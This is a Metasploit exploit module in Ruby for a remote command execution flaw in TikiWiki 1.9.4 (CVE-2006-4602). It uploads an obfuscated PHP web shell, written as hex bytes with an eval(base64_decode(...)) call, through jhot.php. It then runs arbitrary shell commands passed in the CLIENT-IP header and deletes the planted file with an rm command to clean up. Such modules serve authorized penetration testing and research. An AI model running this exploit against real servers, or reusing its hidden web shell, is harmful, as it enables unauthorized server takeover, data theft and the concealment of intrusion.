root / modules / exploits / unix / webapp / tikiwiki_jhot_exec.rb @ master
History | View | Annotate | Download (7.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpClient |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'TikiWiki jhot Remote Command Execution', |
| 22 |
'Description' => %q{ |
| 23 |
TikiWiki contains a flaw that may allow a malicious user to execute |
| 24 |
arbitrary PHP code. The issue is triggered due to the jhot.php script |
| 25 |
not correctly verifying uploaded files. It is possible that the flaw |
| 26 |
may allow arbitrary PHP code execution by uploading a malicious PHP |
| 27 |
script resulting in a loss of integrity. |
| 28 |
|
| 29 |
The vulnerability was reported in Tikiwiki version 1.9.4. |
| 30 |
},
|
| 31 |
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ], |
| 32 |
'License' => MSF_LICENSE, |
| 33 |
'Version' => '$Revision$', |
| 34 |
'References' =>
|
| 35 |
[ |
| 36 |
['CVE', '2006-4602'], |
| 37 |
['OSVDB', '28456'], |
| 38 |
['BID', '19819'], |
| 39 |
['URL', 'http://secunia.com/advisories/21733/'], |
| 40 |
], |
| 41 |
'Privileged' => false, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'DisableNops' => true, |
| 45 |
'Space' => 1024, |
| 46 |
'Compat' =>
|
| 47 |
{
|
| 48 |
'PayloadType' => 'cmd', |
| 49 |
'RequiredCmd' => 'generic perl ruby bash telnet', |
| 50 |
} |
| 51 |
}, |
| 52 |
'Platform' => 'unix', |
| 53 |
'Arch' => ARCH_CMD, |
| 54 |
'Targets' => [[ 'Automatic', { }]], |
| 55 |
'DisclosureDate' => 'Sep 2 2006', |
| 56 |
'DefaultTarget' => 0)) |
| 57 |
|
| 58 |
register_options( |
| 59 |
[ |
| 60 |
OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]), |
| 61 |
], self.class)
|
| 62 |
end
|
| 63 |
|
| 64 |
def check |
| 65 |
res = send_request_raw( |
| 66 |
{
|
| 67 |
'uri' => datastore['URI'] + "/tiki-index.php", |
| 68 |
'method' => 'GET', |
| 69 |
'headers' =>
|
| 70 |
{
|
| 71 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
| 72 |
'Connection' => 'Close', |
| 73 |
} |
| 74 |
}, 25)
|
| 75 |
|
| 76 |
http_fingerprint({ :response => res }) # check method
|
| 77 |
|
| 78 |
if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/)) |
| 79 |
return Exploit::CheckCode::Vulnerable |
| 80 |
end
|
| 81 |
Exploit::CheckCode::Safe |
| 82 |
end
|
| 83 |
|
| 84 |
def exploit |
| 85 |
create_temp_file() |
| 86 |
|
| 87 |
command = payload.encoded |
| 88 |
|
| 89 |
exe_command(command) |
| 90 |
|
| 91 |
remove_temp_file() |
| 92 |
end
|
| 93 |
|
| 94 |
def create_temp_file |
| 95 |
url_jhot = datastore['URI'] + "/jhot.php" |
| 96 |
|
| 97 |
scode = |
| 98 |
"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
|
| 99 |
"\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
|
| 100 |
"\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
|
| 101 |
"\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
|
| 102 |
"\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
|
| 103 |
"\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
|
| 104 |
"\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
|
| 105 |
"\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
|
| 106 |
"\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
|
| 107 |
"\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
|
| 108 |
"\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
|
| 109 |
"\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
|
| 110 |
"\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
|
| 111 |
"\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
|
| 112 |
"\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
|
| 113 |
"\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
|
| 114 |
"\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
|
| 115 |
"\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
|
| 116 |
"\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
|
| 117 |
"\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
|
| 118 |
"\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
|
| 119 |
"\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
|
| 120 |
"\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
|
| 121 |
"\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
|
| 122 |
"\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
|
| 123 |
"\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
|
| 124 |
"\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
|
| 125 |
"\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
|
| 126 |
"\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
|
| 127 |
"\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
|
| 128 |
"\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
|
| 129 |
"\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
|
| 130 |
"\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
|
| 131 |
"\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
|
| 132 |
"\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
|
| 133 |
"\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
|
| 134 |
"\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
|
| 135 |
"\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
|
| 136 |
"\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
|
| 137 |
"\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
|
| 138 |
"\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"
|
| 139 |
|
| 140 |
data = |
| 141 |
"-----------------------------7d529a1d23092a\r\n" +
|
| 142 |
"Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
|
| 143 |
scode + |
| 144 |
"\r\n" +
|
| 145 |
"-----------------------------7d529a1d23092a--\r\n"
|
| 146 |
|
| 147 |
res = send_request_cgi({
|
| 148 |
'uri' => url_jhot,
|
| 149 |
'method' => 'POST', |
| 150 |
'data' => data,
|
| 151 |
'headers' =>
|
| 152 |
{
|
| 153 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
| 154 |
'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a', |
| 155 |
'Connection' => 'Close', |
| 156 |
} |
| 157 |
}, 25)
|
| 158 |
|
| 159 |
if (res and res.message == "OK") |
| 160 |
print_status("Successfully created temporary file.")
|
| 161 |
else
|
| 162 |
print_error("Error creating temporary file.")
|
| 163 |
end
|
| 164 |
end
|
| 165 |
|
| 166 |
def exe_command(cmd) |
| 167 |
url_config = datastore['URI'] + "/img/wiki/tiki-config.php" |
| 168 |
|
| 169 |
res = send_request_raw({
|
| 170 |
'uri' => url_config,
|
| 171 |
'method' => 'GET', |
| 172 |
'headers' =>
|
| 173 |
{
|
| 174 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
| 175 |
'CLIENT-IP' => "#{cmd};", |
| 176 |
'Connection' => 'Close', |
| 177 |
} |
| 178 |
}, 25)
|
| 179 |
|
| 180 |
if (res and res.message == "OK" and res.body.match(/my_delim/m)) |
| 181 |
print_status("The server returned : #{res.code} #{res.message} (#{res.headers['Server']})")
|
| 182 |
|
| 183 |
cmd_output = res.body.match(/my_delim(.*)/m)
|
| 184 |
|
| 185 |
if (cmd_output)
|
| 186 |
print_status("Command output from the server :")
|
| 187 |
print("\n" + cmd_output[1] + "\n") |
| 188 |
else
|
| 189 |
print_error('No command output found. This server may not be vulnerable.')
|
| 190 |
end
|
| 191 |
else
|
| 192 |
print_error("No response from the server")
|
| 193 |
end
|
| 194 |
end
|
| 195 |
|
| 196 |
def remove_temp_file |
| 197 |
url_config = datastore['URI'] + "/img/wiki/tiki-config.php" |
| 198 |
|
| 199 |
res = send_request_raw({
|
| 200 |
'uri' => url_config,
|
| 201 |
'method' => 'GET', |
| 202 |
'headers' =>
|
| 203 |
{
|
| 204 |
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', |
| 205 |
'CLIENT-IP' => 'rm -f tiki-config.php', |
| 206 |
'Connection' => 'Close', |
| 207 |
} |
| 208 |
}, 25)
|
| 209 |
|
| 210 |
if (res and res.message == "OK") |
| 211 |
print_status("Successfully remove temporary file.")
|
| 212 |
else
|
| 213 |
print_error("Error removing temporary file.")
|
| 214 |
end
|
| 215 |
end
|
| 216 |
end
|